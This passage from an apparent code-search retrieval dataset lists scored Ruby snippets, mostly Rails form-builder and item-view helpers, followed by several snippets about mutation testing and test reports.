"text": "def form(*args, &block)\n options = args.extract_options!.to_options!\n\n if args.first.is_a?(ActiveRecord::Base)\n model = args.first\n\n url = options.delete(:url) || request.fullpath\n\n html = form_attrs(options)\n\n options.clear\n\n options[:url] = url\n options[:html] = html.dup\n\n form_for(model, options, &block)\n else\n args.push(request.fullpath) if args.empty?\n args.push(form_attrs(options))\n form_tag(*args, &block)\n end\n end",
"title": ""
},
{
"docid": "5149ff0c2f901e25052989761d56c9fc",
"score": "0.520362",
"text": "def css_fields_for(object_name, *args, &proc)\n #fields_for(object_name, object, options.merge({:html=>{:class=>'cssform'},:builder => CssFormBuilder}), &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n options = args.last.is_a?(Hash) ? args.pop : {}\n object = args.first\n yield((options[:builder] || CssFormBuilder).new(object_name, object, self, options, proc))\nend",
"title": ""
},
{
"docid": "0009129e53f6bae93726ed21137054ad",
"score": "0.5199032",
"text": "def new\n @order_item = OrderItem.new\n\n render :partial => 'new', :object => @order_item\n end",
"title": ""
},
{
"docid": "440d0a1211e2dc8ab424e88a7141d3aa",
"score": "0.5185117",
"text": "def new\n @specific_item = SpecificItem.new(:generic_item_id => params[:generic_item_id])\n render :layout => false\n end",
"title": ""
},
{
"docid": "5670b064c23b67fb192cc7ac9a749f1c",
"score": "0.515634",
"text": "def jquery_remote_form_for(object_name, *args, &proc)\n options = args.last.is_a?(Hash) ? args.pop : {}\n concat(jq_form_remote_tag(options), proc.binding)\n fields_for(object_name, *(args << options), &proc)\n concat('</form>', proc.binding)\n end",
"title": ""
},
{
"docid": "10be520acf51f3e35546ea34b6caf29d",
"score": "0.5153531",
"text": "def set_item\n @item = \"#{params[:slug]}_page\".classify.constantize.instance\n if Fae.use_form_manager\n @form_manager = FormManager.for_model(params, @item)\n end\n end",
"title": ""
},
{
"docid": "d0314269640b70becf0244b19f5ead7a",
"score": "0.51483434",
"text": "def form(options={}, &block)\n @edit_form_options = @new_form_options = {:view=>@view}.merge(options)\n @edit_form_block = @new_form_block = block\n end",
"title": ""
},
{
"docid": "cb76a2cf4667913f2dc20609e79f17e2",
"score": "0.5121538",
"text": "def share_form(share = nil, options = {}, &block)\n share ||= Share.new\n raw_block_to_partial('shares/form', options.merge(:share => share), &block)\n end",
"title": ""
},
{
"docid": "2a63958b587790f54dcb566aee4edd67",
"score": "0.51211023",
"text": "def edit_form\n\t\titem_text = question_items.first.text #in_place_editor_field :question_cell, :items, {}, :rows => 3\n\t\tdiv_item(item_text, \"iteminformation\")\n\tend",
"title": ""
},
{
"docid": "d20ff559e15de078a558e6128827cdb5",
"score": "0.51084626",
"text": "def admin_minimal_form_for(object, *args, &block)\n options = args.extract_options!\n options = options.merge(builder: ActionAdmin::Form::MinimalBuilder)\n\n admin_form_for(object, *(args << options), &block)\n end",
"title": ""
},
{
"docid": "c6ecab08883dfec31682d90530b87398",
"score": "0.5101147",
"text": "def set_item_form_metaelement\n @item_form_metaelement = ItemFormMetaelement.find(params[:id])\n end",
"title": ""
},
{
"docid": "54361ae80c6ac909cc9986e6b766897b",
"score": "0.50984275",
"text": "def form(path = nil, &block)\n raise \"You need to provide block to form representation\" unless block_given?\n content = @template.capture(self, &block)\n @value.new_record? ? options = {:method => :post} : options = {:method => :put}\n path = @template.polymorphic_path(_namespaced_value) unless path\n @template.concat(@template.form_tag(path, options))\n @template.concat(content)\n @template.concat(@template.submit_tag(\"ok\"))\n @template.concat(\"</form>\")\n self\n end",
"title": ""
},
{
"docid": "421547e417160a02122d8db09b60501c",
"score": "0.50972134",
"text": "def create_form\n if session.has_key?(:item)\n @item = session.delete(:item)\n else\n @item = Item.new()\n end\n end",
"title": ""
},
{
"docid": "d8ce8b5c02ef319d98d483595b23a990",
"score": "0.5087401",
"text": "def page_wrapping_form *args, &block\n f = nil\n content_for :content_wrapper_top do\n raw simple_form_for(*args){ |frm| f = frm }.gsub(\"</form>\", \"\")\n end\n content_for :content_wrapper_bottom do \n raw \"</form>\"\n end\n yield f\n end",
"title": ""
},
{
"docid": "45719ca7df9defa06132f30c24666da6",
"score": "0.5073788",
"text": "def uni_form_for(name, object = nil, options = {}, &proc)\n concat(content_tag(:p, '<em>*</em> indicates a required field', :class => 'form_required') + \"\\n\")\n options.merge!(:builder => UniFormBuilder)\n if options[:html]\n if options[:html][:class]\n options[:html][:class] = options[:html][:class] + ' uniForm'\n else\n options[:html][:class] = 'uniForm'\n end\n else\n options.merge! :html => {:class => 'uniForm'}\n end\n form_for(name, object, options, &proc)\n end",
"title": ""
},
{
"docid": "e17ffefab1193aa54e12ce4bc7459a96",
"score": "0.5065674",
"text": "def box(title, options={}, &block)\n\t\tbf = BoxBuilderClass.new(options[:model] || nil)\n\n\t\tif block_given?\n\t\t\tinner = capture(bf, &block)\n\t\telsif options[:model] && options[:fields]\n\t\t\tinner = []\n\n\t\t\tfield_data = options[:model].class.field_data\n\n\t\t\toptions[:fields].each do |field|\n\t\t\t\tfld_data = field_data[field.to_sym]\n\t\t\t\tnext if !fld_data\n\t\t\t\t\n\t\t\t\tlabel = fld_data[:label]\n\t\t\t\t\n\t\t\t\trow_html = options[:model].send(field.to_sym)\n\t\t\t\t\n\t\t\t\t# Don't run h on the value if the model specified the :html attribute to true\n\t\t\t\tif fld_data[:html] == true\n\t\t\t\t\trow_value = row_html\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\trow_value = h(row_html).gsub(/\\n/, '<br />')\n\t\t\t\tend\n\t\t\t\tinner << bf.box_row_text(label, row_value)\n\t\t\tend\n\t\t\tinner = inner.join('')\n\t\tend\n\n\t\thtml = '<div class=\"box\">'\n\t\thtml << '<h2>' + h(title) + '</h2>' if title != nil && title != ''\n\t\thtml << inner + '</div>'\n\t\tif bf.fields? || (options[:force] && options[:force] == true)\n\t\t\tif block_given?\n\t\t\t\tconcat(html, block.binding)\n\t\t\telse\n\t\t\t\treturn html\n\t\t\tend\n\t\telse\n\t\t\treturn ''\n\t\tend\n\t\t\n\tend",
"title": ""
},
{
"docid": "5da7b2eb19cfb42be66ca9c69fa2e495",
"score": "0.5060171",
"text": "def flow_api_item\n image_base = ENV.fetch('RAILS_ASSET_HOST')\n\n # add product categories\n categories = []\n taxon = product.taxons.first\n while taxon\n categories.unshift taxon.name\n taxon = taxon.parent\n end\n\n images = product.images.first ? [\n { url: image_base + product.display_image.attachment(:large), tags: ['main'] },\n { url: image_base + product.images.first.attachment.url(:product), tags: ['thumbnail'] }\n ] : []\n\n Io::Flow::V0::Models::ItemForm.new(\n number: id.to_s,\n locale: 'en_US',\n language: 'en',\n name: product.name,\n description: product.description,\n currency: cost_currency,\n price: price.to_f,\n images: images,\n categories: categories,\n attributes: {\n weight: weight.to_s,\n height: height.to_s,\n width: width.to_s,\n depth: depth.to_s,\n is_master: is_master ? 'true' : 'false',\n product_id: product_id.to_s,\n tax_category: product.tax_category_id.to_s,\n product_description: product.description,\n product_shipping_category: product.shipping_category_id ? shipping_category.name : nil,\n product_meta_title: product.meta_title.to_s,\n product_meta_description: product.meta_description.to_s,\n product_meta_keywords: product.meta_keywords.to_s,\n product_slug: product.slug,\n }.select{ |k,v| v.present? }\n )\n end",
"title": ""
},
{
"docid": "4ca2a32a21b3556ddd9e9ac538fcd0d7",
"score": "0.50488734",
"text": "def render_block title, description, options = {}, &block\n partial(:block, {\n :package => Evo::Package.get(:system),\n :title => title,\n :description => description,\n :classes => '',\n :body => capture(&block)\n }.merge(options))\n end",
"title": ""
},
{
"docid": "b29ccb90c32d789e06674de4a64d5e14",
"score": "0.50388366",
"text": "def bento_item_title(item)\n render :partial => \"bento_search/item_title\", :object => item, :as => 'item'\n end",
"title": ""
},
{
"docid": "af4ff7aa63b35eb81f0e8eeecff8bd95",
"score": "0.50363433",
"text": "def edit_properties\n render partial: \"items/properties_form\",\n locals: { item: @item }\n end",
"title": ""
},
{
"docid": "21a197c399cff434ec4a75ff3c5854d1",
"score": "0.5032207",
"text": "def display_field(item, attribute)\n \n partial = CrudStar::Utility.get_field(item.class, attribute)\n \n unless partial.nil?\n \n @item = item\n render(:partial => partial)\n \n else\n \n # Get the value of the attribute on the current model.\n value = get_value(item, attribute)\n \n field_id = item.class.name.underscore + '_' + attribute\n field_name = item.class.name.underscore + '[' + attribute + ']'\n \n # Check if this is an association to another model.\n if association = item.class.reflections[attribute.to_sym]\n \n # Check if this attribute is a belongs_to association. If so, display a\n # selection box.\n if association.belongs_to?\n \n field_id = item.class.name.underscore + '_' + attribute + '_id'\n field_name = item.class.name.underscore + '[' + attribute + '_id]'\n \n tag = render(:partial => CrudStar::Utility.get_partial(item.class, 'select_associated'), :locals => {:field_id => field_id, :field_name => field_name, :selected => item.send(attribute).to_param, :association => association})\n \n else\n tag = display_value(item, attribute)\n end\n \n # Display standard field.\n else\n \n # Get the attribute's database table column metadata.\n column = item.column_for_attribute(attribute)\n \n case column.type\n \n # Display a datetime field as a popup date picker with time.\n when :datetime\n tag = '<span class=\"datetime\">' + text_field_tag(field_name, display_value(item, attribute), :class => 'datetime', :id => item.class.name.underscore + '_' + attribute) + '</span>'\n \n # Display a date field as a popup date picker.\n when :date\n tag = '<span class=\"date\">' + text_field_tag(field_name, display_value(item, attribute), :class => 'date', :id => item.class.name.underscore + '_' + attribute) + '</span>'\n \n # Display a string field as a text field, the length determined by the column's length metadata.\n when :string\n \n if column.limit <= 15\n size = 'small'\n elsif column.limit <= 35\n size = 'medium'\n else\n size = 'large'\n end\n \n tag = text_field_tag(field_name, display_value(item, attribute), :maxlength => column.limit, :class => size)\n \n # Display a string field as a text field, the length determined by the\n # column's length metadata.\n when :integer\n \n if column.limit == 1\n size = 4\n elsif column.limit == 2\n size = 6\n elsif column.limit == 3\n size = 8\n elsif column.limit == 4\n size = 11\n else\n size = 20\n end\n \n tag = text_field_tag(field_name, display_value(item, attribute), :maxlength => size, :size => size)\n \n # Display a string field as a text field, the length determined by the\n # column's length metadata.\n when :decimal\n \n size = column.limit ? column.limit + 1 : 255\n tag = text_field_tag(field_name, display_value(item, attribute), :maxlength => size, :size => size)\n \n when :text\n field_id = field_name\n tag = text_area_tag(field_name, display_value(item, attribute), :size => '100x5')\n \n when :boolean\n \n value = item.send(attribute)\n value ||= false\n \n if value == true\n tag = radio_button_tag(field_name, true, :checked => true) + ' ' + label_tag(field_name + '_true', 'Yes', :class => 'radio') + ' ' + radio_button_tag(field_name, false) + ' ' + label_tag(field_name + '_false', 'No', :class => 'radio')\n else\n tag = radio_button_tag(field_name, true) + ' ' + label_tag(field_name + '_true', 'Yes', :class => 'radio') + ' ' + radio_button_tag(field_name, false, :checked => true) + ' ' + label_tag(field_name + '_false', 'No', :class => 'radio')\n end\n \n else\n tag = text_field_tag(field_name, display_value(item, attribute))\n end\n end\n \n '<label for=\"' + field_id + '\">' + attribute.split('.').last.humanize + '</label>' + tag\n end\n end",
"title": ""
},
{
"docid": "79dece2a45883ae72609d4465f8b3578",
"score": "0.50292265",
"text": "def split_form_for(*args, &block)\r\n buffer = eval(ActionView::Base.erb_variable, block.binding)\r\n out = capture_erb_with_buffer(buffer, *args) { form_for(*args, &block) }\r\n\r\n lines = out.split(\"\\n\")\r\n content_for :form, lines.shift\r\n lines.pop\r\n\r\n concat lines.join(\"\\n\"), block.binding\r\n end",
"title": ""
},
{
"docid": "07405304507e7e83819b19888bb4c77a",
"score": "0.49953797",
"text": "def form(name, identifier=nil, &block)\n define_method(\"#{name}_element\") do\n return call_block(&block) if block_given?\n platform.form_for(identifier.clone)\n end\n alias_method \"#{name}_form\".to_sym, \"#{name}_element\".to_sym\n end",
"title": ""
},
{
"docid": "186b2b327c40dc9020a0aecf94797b3c",
"score": "0.4992471",
"text": "def unlabeled_form_for(*args, &block)\n options = args.extract_options!\n options[:builder] = ActionView::Helpers::FormBuilder\n form_for(*(args << options), &block)\n end",
"title": ""
},
{
"docid": "5e4a0343a439895d0059d4ce1e2d8496",
"score": "0.49902183",
"text": "def set_description\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n if params[:id].blank?\n @item = Item.new_info(0)\n @item.attributes = params.require(:item).permit(Item::PERMIT_BASE)\n @item.user_id = @login_user.id\n @item.title = t('paren.no_title')\n @item.save\n else\n @item = Item.find(params[:id])\n @item.update_attributes(params.require(:item).permit(Item::PERMIT_BASE))\n end\n\n render(:partial => 'ajax_item_description', :layout => false)\n\n rescue => evar\n Log.add_error(request, evar)\n render(:partial => 'ajax_item_description', :layout => false)\n end",
"title": ""
},
{
"docid": "9e36875827712480a8a2fbf2e09eb409",
"score": "0.49891335",
"text": "def edit\n @item = Item.find(params[:id])\n\n render component: 'EditItem', props: {item: @item}\n end",
"title": ""
},
{
"docid": "7f6d92e33947aa7af6dc3ccf97ba368c",
"score": "0.497456",
"text": "def form(name, identifier={:index => 0}, &block)\n define_method(\"#{name}_element\") do\n return call_block(&block) if block_given?\n platform.form_for(identifier.clone)\n end\n define_method(\"#{name}?\") do\n return call_block(&block).exists? if block_given?\n platform.form_for(identifier.clone).exists?\n end\n alias_method \"#{name}_form\".to_sym, \"#{name}_element\".to_sym\n end",
"title": ""
},
{
"docid": "e47096130e12e664fe996990d0ecc210",
"score": "0.49727407",
"text": "def new_child_fields_template_warranty_order_line_item(form_builder, association, options = {})\n options[:object] ||= form_builder.object.class.reflect_on_association(association).klass.new\n options[:partial] ||= association.to_s.singularize\n options[:form_builder_local] ||= :f\n \n content_for :new_task_warranty_order_line_item_fields do\n content_tag(:div, :class => \"#{association}_fields_template\", :style => \"display: none\") do\n form_builder.fields_for(association, options[:object], :child_index => \"new_#{association}\") do |f|\n render(:partial => options[:partial], :locals => { options[:form_builder_local] => f })\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ea2122954ddd7209bb21e6d3e50f1633",
"score": "0.49644977",
"text": "def oitem_params\n params.require(:oitem).permit(:title, :url, :text)\n end",
"title": ""
},
{
"docid": "15069de2ee7bb125c0d43e99f1f3eb19",
"score": "0.4957268",
"text": "def form_for(name, attrs = {}, &blk)\n with_form_context(name, attrs.delete(:builder)) do\n current_form_context.form(attrs, &blk)\n end\n end",
"title": ""
},
{
"docid": "02e9434d17db2f14aa70ffe4e9972b9e",
"score": "0.4952213",
"text": "def within_form(id, &block)\n @form_id = id\n @form_block = block\n self\n end",
"title": ""
},
{
"docid": "02e9434d17db2f14aa70ffe4e9972b9e",
"score": "0.4952213",
"text": "def within_form(id, &block)\n @form_id = id\n @form_block = block\n self\n end",
"title": ""
},
{
"docid": "698661446fde15336b27b3ce549cc801",
"score": "0.49503562",
"text": "def form name, identifier=nil, &block\n define_method(name) do\n self.send(\"#{name}_form\").text\n end\n create_element_getter \"#{name}_form\", identifier, __method__, block\n end",
"title": ""
},
{
"docid": "dbcdfc2b84bdcfa23c0320768e9c74a8",
"score": "0.4946536",
"text": "def form name, identifier=nil, &block\n define_method(name) do\n self.send(\"#{name}_form\").text\n end\n define_method(\"#{name}_form\") do\n block ? block.call(@browser) : @browser.form(identifier)\n end\n end",
"title": ""
},
{
"docid": "856e6e37f7de802a771b3be350b572ba",
"score": "0.49422702",
"text": "def new\n @item = @book.items.new\n set_form_data\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"title": ""
},
{
"docid": "bbe2ff62699313ee4c1733a56ffd1317",
"score": "0.4941321",
"text": "def edit_form\n item_text = question_items.first.text #in_place_editor_field :question_cell, :items, {}, :rows => 3\n div_item(item_text, \"iteminformation\")\n end",
"title": ""
},
{
"docid": "8f9c66e496ab8d10cd0dfc6fdcce3c39",
"score": "0.49411175",
"text": "def edit_withdrawal\n render partial: \"items/withdrawal_form\",\n locals: { item: @item }\n end",
"title": ""
},
{
"docid": "ff5c14244ff5397c780bf8a85186be58",
"score": "0.49339256",
"text": "def form_item(attribute_name)\n di :class => attribute_name do\n dt do\n current_form.label attribute_name, human_attribute_name(attribute_name)\n end\n dd do\n yield\n end\n end\n end",
"title": ""
},
{
"docid": "c3cffa7c951589697685d7cf91be9cf7",
"score": "0.4927061",
"text": "def simple_submit_form_for resource, options=nil, &block\n options = merge_submit_options options\n options[:html][:data] = (options[:html][:data] || {}).merge options.delete(:data)\n options[:html][:remote] = options.delete :remote\n simple_form_for resource, merge_submit_options(options) do |f| block.call f end\n end",
"title": ""
},
{
"docid": "fda573d2b2129dd5802c94a1b16ac08f",
"score": "0.49237534",
"text": "def create\n @item = Item.new(item_params)\n\n if @item.save\n render_or_redirect_item\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "705da892ae7ecd8e5450db38e102df87",
"score": "0.49203175",
"text": "def start_form_block (params = {})\n output = \"\"\n output << \"<li><div class=\\\"label\\\">#{params[:label]}</div>\" if params[:label]\n \n if params[:class]\n output << tag('fieldset', {:class => params[:class]}, true)\n else \n output << tag('fieldset', {}, true)\n end\n \n output << content_tag('legend', params[:legend]) if params[:legend]\n \n output << \"<ol\"\n output << \" style=\\\"#{params[:style]}\\\" \" if params[:style]\n output << \" id=\\\"#{params[:id]}\\\"\" if params[:id]\n output << \">\"\n output.html_safe\n end",
"title": ""
},
{
"docid": "bde5e123ef6d9da36cc93c332f22ec75",
"score": "0.49201334",
"text": "def editor_fields_for(object_name, *args, &proc)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options[:builder] = EditorFormBuilder\n fields_for(object_name, *(args << options), &proc) \n end",
"title": ""
},
{
"docid": "0ce3e59884de1c5057bb82237d9108fa",
"score": "0.4898905",
"text": "def form_for(*args, &block)\n if search_obj = args.find { |arg| arg.is_a?(Searchlogic::Search) }\n options = args.extract_options!\n options[:html] ||= {}\n options[:html][:method] ||= :get\n options[:url] ||= url_for\n args.unshift(:search) if args.first == search_obj\n args << options\n end\n super\n end",
"title": ""
},
{
"docid": "939ce443ce766f7b19fbd6da35d8a70b",
"score": "0.48887506",
"text": "def texto_ecm_new_cadastro_item(form_item, params)\n view = \"\"\n unless params\n view.concat(masked_text_field :cadastro, \"item_#{form_item.id}\", options={:mask=>form_item.opcoes[:mascara],:size=>form_item.opcoes[:largura], :maxlength=>form_item.opcoes[:max_length]})\n view.concat(\"<br><span class='form_item_exemplo'>#{form_item.opcoes[:exemplo]}</span>\") if form_item.opcoes[:exemplo] != \"\"\n else\n view.concat(masked_text_field :cadastro, \"item_#{form_item.id}\", options={:mask=>form_item.opcoes[:mascara],:size=>form_item.opcoes[:largura], :maxlength=>form_item.opcoes[:max_length], :value=>params[\"item_#{form_item.id}\"]})\n view.concat(\"<br><span class='form_item_exemplo'>#{form_item.opcoes[:exemplo]}</span>\") if form_item.opcoes[:exemplo] != \"\"\n end\n return view\n end",
"title": ""
},
{
"docid": "8bd8b038df3eac6bb22895656b02a340",
"score": "0.48874092",
"text": "def new_item\n @item = Item.new\n render_template(true)\n end",
"title": ""
},
{
"docid": "5ba8aa05425732be718e30ab530f9e5c",
"score": "0.48867047",
"text": "def input(**options)\n\t\t\t\t\toptions = @options.merge(**options)\n\t\t\t\t\t\n\t\t\t\t\tBuilder.fragment do |builder|\n\t\t\t\t\t\tbuilder.inline(:label) do\n\t\t\t\t\t\t\tbuilder.inline(:span) do\n\t\t\t\t\t\t\t\tbuilder.text title_for(**options)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif details = details_for(**options)\n\t\t\t\t\t\t\t\t\tbuilder.inline(:small) {builder.text details}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tbuilder.inline :input, input_attributes_for(**options)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "c6114e91d8912093d3666e86b685da86",
"score": "0.48797947",
"text": "def process_model(object, title_field=:name)\n if object.methods.include? title_field\n {\n title: object.name,\n link: object\n }\n end\n end",
"title": ""
},
{
"docid": "59ca2e13f79e3fb9ee793f71ab195695",
"score": "0.48777527",
"text": "def relative_form(attrs=nil, &block)\n tag(:form, attrs) do\n @form = Form.new\n block.call(self)\n backup = {}\n (@parameters.to_hash.keys - @form.values).each do |key|\n backup[key] = @parameters.value_array(key)\n end\n hidden_hash(backup)\n @form = nil\n end\n end",
"title": ""
},
{
"docid": "86b9bd05afc8764a205e0bc9531c2e2d",
"score": "0.48740757",
"text": "def fields_for(name, attrs = {}, &blk)\n attrs ||= {}\n with_form_context(name, attrs.delete(:builder)) do\n current_form_context.concat(attrs, &blk)\n end\n end",
"title": ""
},
{
"docid": "238528daf66d2d33d165920bda61e359",
"score": "0.4866568",
"text": "def dynamic_fields_render_all(form_obj,association,**args,&block)\n\n partial = args[:partial] || association.to_s.singularize\n fields_container_class = args[:fields_container_class] || \"dynamic_fields_container_fields\"\n container_id = args[:container_id] || \"#{association.to_s.singularize}_container\"\n\n content_rows = form_obj.simple_fields_for association do |builder_object|\n if block_given?\n yield builder_object\n else\n dynamic_fields_render_part builder_object,partial: \"#{partial}\"\n end\n end\n\n content = content_tag(:div,class: fields_container_class) do\n content_rows\n end\n\n if(args[:table_view])\n content = content_tag(:table,class: \"table\") do\n content_tag(:tbody,class: fields_container_class) do\n content_rows\n end\n end\n end\n\n add_row = content_tag('div',class: 'form-actions') do\n dynamic_fields_link_to_add_row(form_obj, association, class: 'btn btn-primary',partial: \"#{partial}\",&block)\n end\n\n content << add_row\n\n main_content = content_tag(:div,id: container_id) do\n content\n end\n\n main_content << javascript_tag(\"backend_dynamic_fields('##{container_id}')\")\n main_content\n end",
"title": ""
},
{
"docid": "6d5847cbd6064e26b9149ee13c46f74c",
"score": "0.4857796",
"text": "def xeriom_form_for_resource(*args, &block)\n options = args.last.is_a?(Hash) ? args.pop : {}\n options.update(:url => resource_url)\n xeriom_form_for(resource, *(args << options), &block)\n end",
"title": ""
},
{
"docid": "29b25492d094522a2dd9a054885f88c7",
"score": "0.48494062",
"text": "def fields_for(method_or_object, *args, &block)\r\n #@template.concat \"<!-- #{args.extract_options![:builder]} -->\"\r\n if @object\r\n case method_or_object\r\n when String, Symbol\r\n object = @object.send method_or_object\r\n if object.is_a? Array\r\n #@template.concat \"<!-- array -->\"\r\n (0...object.length).each do |i|\r\n name = \"#{@object_name}[#{method_or_object}_attributes][#{i}]\"\r\n @template.fields_for(name, object[i], *args, &block)\r\n end\r\n else\r\n name = method_or_object\r\n #@template.concat \"<!-- else -->\"\r\n super(name, object, *args, &block)\r\n end \r\n return\r\n end\r\n end\r\n \r\n super(method_or_object, *args, &block)\r\n end",
"title": ""
}
] |
96d79a29783c4e646d27edf845e374d8
|
Test if mutation is killed by test report
|
[
{
"docid": "bc81cbfa11cef0a02ddc8090f66eee0c",
"score": "0.6081244",
"text": "def killed_by?(test_report)\n self.class::SHOULD_PASS.equal?(test_report.passed)\n end",
"title": ""
}
] |
[
{
"docid": "0235e770820cb051230fd0e0d1b2c219",
"score": "0.7682384",
"text": "def mutation_dead?\n test_report = report.test_report\n killer.mutation.should_fail? && test_report.failed?\n end",
"title": ""
},
{
"docid": "28e246a28bf9f73e0eb64b05f0609e32",
"score": "0.6254144",
"text": "def success?\n killer.mutation.should_fail?.equal?(test_report.failed?)\n end",
"title": ""
},
{
"docid": "2336414b6dca050908702e25f8695b18",
"score": "0.6224504",
"text": "def killed; end",
"title": ""
},
{
"docid": "30c266976a6a9968401fd0c36ca2a33e",
"score": "0.59972346",
"text": "def failure\n #ConflictAnalysis.tracer.end_all\n #Process.exit\n end",
"title": ""
},
{
"docid": "40cc1e12eec40163d5b4c0079f659881",
"score": "0.5902294",
"text": "def measure\n raise \"something broke during measurement\"\n end",
"title": ""
},
{
"docid": "9ff704a99aa9dc98e830bcdac031f64e",
"score": "0.58529866",
"text": "def success?\n mutation.success?(killer)\n end",
"title": ""
},
{
"docid": "35948c314fa0597de99e33c2ea0370bb",
"score": "0.58510494",
"text": "def test_non_bug_signal\n # e.g. SIGTERM\n skip\n end",
"title": ""
},
{
"docid": "ae3e5ed80dd1de407fd2e20ff064fc6e",
"score": "0.57712656",
"text": "def kills\n return @bad_consequence.my_bad_consequence_is_death\n end",
"title": ""
},
{
"docid": "ecee2beecd2b7e7296a9f8c988304acd",
"score": "0.57405186",
"text": "def should_destroy?\n (time_limit_exceeded? or experiment_end?) and record.state != :error\n end",
"title": ""
},
{
"docid": "ba0cb568318203c2c48c0cc8ffdd1cb2",
"score": "0.5665805",
"text": "def test_garbagecheck\n\t\tassert_equal(true, Repository.repo.garbage_check(3), \"Saying it isn't connected when it is\")\n\t\tassert_equal(false, Repository.repo.garbage_check(14), \"Saying it is connected when it isn't\")\n\t\tassert_equal(true, Repository.repo.garbage_check(0), \"Freeid object isn't protected!\")\n\tend",
"title": ""
},
{
"docid": "b2afb43f2c229a620e37427a3bfe5dec",
"score": "0.5662728",
"text": "def reverify\n raise(\"This action should never occur!\")\n end",
"title": ""
},
{
"docid": "128df4f73ae354c21ca8bf41a0273f06",
"score": "0.5635932",
"text": "def rspec_is_quitting; end",
"title": ""
},
{
"docid": "a7a0599006695580cf32b03b70341f96",
"score": "0.56359136",
"text": "def assert_exited\n @should_exit_naturally = true\n end",
"title": ""
},
{
"docid": "4fc8b13f98a7769fc846c7bd13b2dc70",
"score": "0.56039125",
"text": "def test_warning\n run_script '-p / -c 100 -w 1'\n assert $CHILD_STATUS.exitstatus == 1, 'Did not exit warning.'\n end",
"title": ""
},
{
"docid": "39bc13fc2018e222cd8d824164d5a029",
"score": "0.5554926",
"text": "def test_that_this_doesnt_crash_the_server\n run_test_as('wizard') do\n simplify(command(%Q|; create($nothing, 1); run_gc();|))\n end\n end",
"title": ""
},
{
"docid": "43f9914fdd85d006fab2b6b1919790a4",
"score": "0.5549505",
"text": "def test_uts_at_m_014 # Bug\n assert !AnalyzeTool.in_use?(nil)\n end",
"title": ""
},
{
"docid": "da710af8dbe957f16851badaa4361df8",
"score": "0.554675",
"text": "def test_invalid_transaction1\n sim = VerifierSimulator.new\n assert_equal false, sim.complete_transactions(100)\n end",
"title": ""
},
{
"docid": "cd256c48632bfc36daebe787de8ed1f1",
"score": "0.5533902",
"text": "def warn_about_expectations; end",
"title": ""
},
{
"docid": "6d27bdeb41b9732ef2a2e3874c170a75",
"score": "0.5491201",
"text": "def rejects_invalid_command\n er = EventReporter.new\n assert_false er.command_valid('potato')\n \n end",
"title": ""
},
{
"docid": "de197dfceeb6f499b53b9ab7de264732",
"score": "0.5490468",
"text": "def report_broken\n @working = false\n end",
"title": ""
},
{
"docid": "9ddb99a009190113f835f8053261f1a3",
"score": "0.54824436",
"text": "def pbBugContestUndecided?\n return pbBugContestState.undecided?\nend",
"title": ""
},
{
"docid": "7f55fa1f1b0c99810616821d13ec5889",
"score": "0.54762536",
"text": "def killtime\n mutations.map(&:runtime).inject(0, :+)\n end",
"title": ""
},
{
"docid": "56283ea94952c194216b19e7fbe21590",
"score": "0.54754305",
"text": "def success?(killer)\n !killer.killed?\n end",
"title": ""
},
{
"docid": "d069b35eb090c88b57ba4403003a8427",
"score": "0.54726917",
"text": "def stop(raise_if_overlimit = true)\n @duration = Time.now - @t0\n @num_gc = GC.count - @gc0\n puts \" => \"+result_report\n check_limits(raise_if_overlimit)\n end",
"title": ""
},
{
"docid": "16bb836bdd05f1b0bf15583c6c14c3ca",
"score": "0.54699385",
"text": "def sanitize_output\n @did_tests_fail = nil if !@tests_run\n\n if !@pure_build_duration.nil? and !@test_duration.nil?\n\n if @pure_build_duration < @test_duration\n @pure_build_duration = nil\n end\n end\n end",
"title": ""
},
{
"docid": "afc5f09ea57f18bbc27e49f97ef492ed",
"score": "0.5463812",
"text": "def killed\n puts \"#{type} has been killed\"\n end",
"title": ""
},
{
"docid": "da5203e8719f0c2c6f5f176797ccee17",
"score": "0.54632556",
"text": "def verfiyPostRemoved()\n result= RemovedPostExist()\n #assert_equal result, false, \"Post should be removed\"\n end",
"title": ""
},
{
"docid": "51d19a48f34fea0937429062763e6e6d",
"score": "0.5454986",
"text": "def test_if_ship_is_sunk_with_no_health\n @cruiser.hit\n @cruiser.hit\n @cruiser.hit\n assert @cruiser.sunk?\n end",
"title": ""
},
{
"docid": "57e1c2eac9732de1848c78ab08e588d8",
"score": "0.54370475",
"text": "def killed?\n @killed\n end",
"title": ""
},
{
"docid": "586adeb2ae9ad9cfe930854d5cda125c",
"score": "0.5435196",
"text": "def test_does_not_record_metrics_for_ignored_transaction\n trigger_transaction('accepted_transaction')\n trigger_transaction('ignored_transaction')\n\n NewRelic::Agent.instance.send(:harvest_and_send_timeslice_data)\n\n stats = $collector.reported_stats_for_metric(TXN_PREFIX + 'accepted_transaction')\n\n assert_equal(1, stats.size)\n\n stats = $collector.reported_stats_for_metric(TXN_PREFIX + 'ignored_transaction')\n\n assert_equal(0, stats.size)\n end",
"title": ""
},
{
"docid": "0405a1a0cec59e821da03d9bffe6b0b7",
"score": "0.54338354",
"text": "def maximum_coverage_drop; end",
"title": ""
},
{
"docid": "b582ce5038ecb4c42f3122499275da00",
"score": "0.54310673",
"text": "def say_target_change_too_fast\n end",
"title": ""
},
{
"docid": "f2ec9a603fc7b22849000c400c363269",
"score": "0.54289",
